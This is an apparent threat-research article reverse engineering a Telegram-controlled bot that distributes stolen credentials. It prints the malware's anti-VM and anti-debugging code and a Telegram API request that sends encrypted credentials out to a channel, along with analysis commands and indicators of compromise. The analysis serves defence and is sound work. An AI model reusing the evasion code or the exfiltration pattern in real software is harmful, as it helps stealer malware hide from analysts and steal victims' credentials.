
Telegram has become increasingly popular among threat actors as a command and control (C2) platform. Its encrypted messaging, bot API, and relative anonymity make it an attractive choice for malware operators. In this article, we'll walk through the process of reverse engineering a malicious Telegram bot discovered during our stealer log research.
During routine monitoring of stealer log distribution channels, we encountered a bot that appeared to be automating credential distribution. Unlike typical file-sharing bots, this one exhibited unusual behavior:
# Observed bot commands
/start - Initialize interaction
/search <query> - Search credentials by domain
/stats - Display statistics (admin only)
/dump <id> - Retrieve specific log file
Before diving into the analysis, we needed to set up a proper environment:
# Create isolated analysis environment
python -m venv malware_analysis
source malware_analysis/bin/activate
# Install analysis tools
pip install telethon python-telegram-bot requests
pip install frida-tools objection # For dynamic analysis
"Never analyze malware on a production network. The consequences can be severe and immediate."
We configured our analysis machine with:
The first step was identifying the bot's token. Telegram bot tokens follow a predictable format:
<bot_id>:<random_string>
Through OSINT and channel message analysis, we identified the bot ID and correlated it with leaked tokens from previous data breaches.
The bot was written in Python and packaged with PyInstaller. We used pyinstxtractor to unpack it:
python pyinstxtractor.py malicious_bot.exe
cd malicious_bot.exe_extracted
uncompyle6 -o ./decompiled bot.pyc
The decompiled code revealed a modular architecture:
| Module | Purpose |
|---|---|
main.py | Entry point and bot initialization |
handlers.py | Message and command handlers |
database.py | SQLite operations for credential storage |
crypto.py | Encryption/decryption utilities |
antivm.py | Anti-analysis checks |
Using Frida, we hooked key functions to observe runtime behavior:
// Frida script to intercept Telegram API calls
Interceptor.attach(Module.findExportByName(null, "SSL_write"), {
onEnter: function(args) {
var data = Memory.readUtf8String(args[1]);
if (data.includes("api.telegram.org")) {
console.log("[+] Telegram API call: " + data);
}
}
});
During execution, the bot:
The bot implemented several evasion techniques:
def check_vm():
vm_indicators = [
"vmware", "virtualbox", "qemu",
"xen", "hyperv", "parallels"
]
# Check running processes
for proc in psutil.process_iter(['name']):
if any(vm in proc.info['name'].lower() for vm in vm_indicators):
return True
# Check MAC address prefixes
vm_macs = ["00:0C:29", "00:50:56", "08:00:27"]
# ... additional checks
return False
The bot monitored execution timing to detect single-stepping:
def timing_check():
start = time.perf_counter()
# Perform dummy operations
_ = hashlib.sha256(b"test" * 1000).hexdigest()
elapsed = time.perf_counter() - start
# If operations take too long, likely being debugged
if elapsed > 0.1:
sys.exit(1)
The bot used multiple Telegram features for C2:
POST /bot<TOKEN>/sendDocument HTTP/1.1
Host: api.telegram.org
Content-Type: multipart/form-data
{
"chat_id": "-100XXXXXXXXX",
"document": <encrypted_credentials>,
"caption": "New logs - 2024-01-10"
}
Based on our analysis, we identified the following IOCs:
| Type | Value |
|---|---|
| Bot Username | @cred_checker_bot |
| Bot ID | 6XXXXXXXXX |
| C2 Channel | -100XXXXXXXXX |
| SQLite DB | %APPDATA%\cache\data.db |
| Scheduled Task | WindowsSecurityUpdate |
Organizations can protect themselves by:
This analysis demonstrates the sophistication of modern Telegram-based malware. The combination of a legitimate platform with encrypted communications makes detection challenging. Security teams should be aware of these techniques and implement appropriate monitoring.
This research was conducted in an isolated environment for defensive purposes only. No credentials were accessed or distributed during this analysis.